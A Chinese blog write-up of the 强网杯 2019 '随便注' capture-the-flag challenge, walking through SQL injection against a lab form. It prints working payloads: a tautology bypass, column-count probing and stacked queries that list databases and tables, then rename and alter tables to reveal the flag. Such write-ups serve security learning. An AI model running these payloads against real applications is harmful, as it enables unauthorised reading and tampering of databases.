[强网杯 2019]随便注_wp

本文详细讲述了在强网杯2019竞赛中遇到的SQL注入挑战,包括利用堆叠注入payload绕过关键字过滤,通过表名和字段爆破获取flag的过程。重点展示了payload的构造和策略调整,如改名、列名修改等技术应用。
摘要由CSDN通过智能技术生成

[强网杯 2019]随便注

判断

  • 看到表单提交,第一反应,万能密码,看存不存在SQL注入,以及爆开会得到什么

  • 1’ or ‘1’='1
    在这里插入图片描述

  • 显然存在sql注入,其实这个题的题目已经告诉我们了,直接注就好

注入

  • 判断字段数

  • 当1' order by 3;
    在这里插入图片描述
    根据回显可判断出字段数为2

  • 但当进行后续操作时,发现过滤了一系列关键字
    在这里插入图片描述

堆叠注入

  • 0';show databases;

  • 在这里插入图片描述
    看来是可以成功的

  • 0';show tables;查表名

  • 在这里插入图片描述

  • 0';show columns from words;爆表words

  • 在这里插入图片描述

0';show columns from `1919810931114514`;
  • 在这里插入图片描述
    便可爆出flag字段
    表名为数字时,要用反引号包起来查询

其实到这我要选择停止了,因为无法前行;但发现了这个语句desc;

desc查看表结构的详细信息 desctable_name; PS:此处desc是describe的缩写,用法:desc表名/查询语句
  • 0';desc words;
  • 在这里插入图片描述
    查看words表的结构,发现一共有id和data两列。
    此处可以猜测我们提交查询的窗口就是在这个表里查询数据的,要是在数字表里查,那我万能密码可不就把flag爆出来了,多好
  • 那么查询语句很有可能是 : selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的万能密码爆出表所有内容就可以看到flag了

payload

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;

修改完后
再万能密码一次就得到flag了在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Acco_30_L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值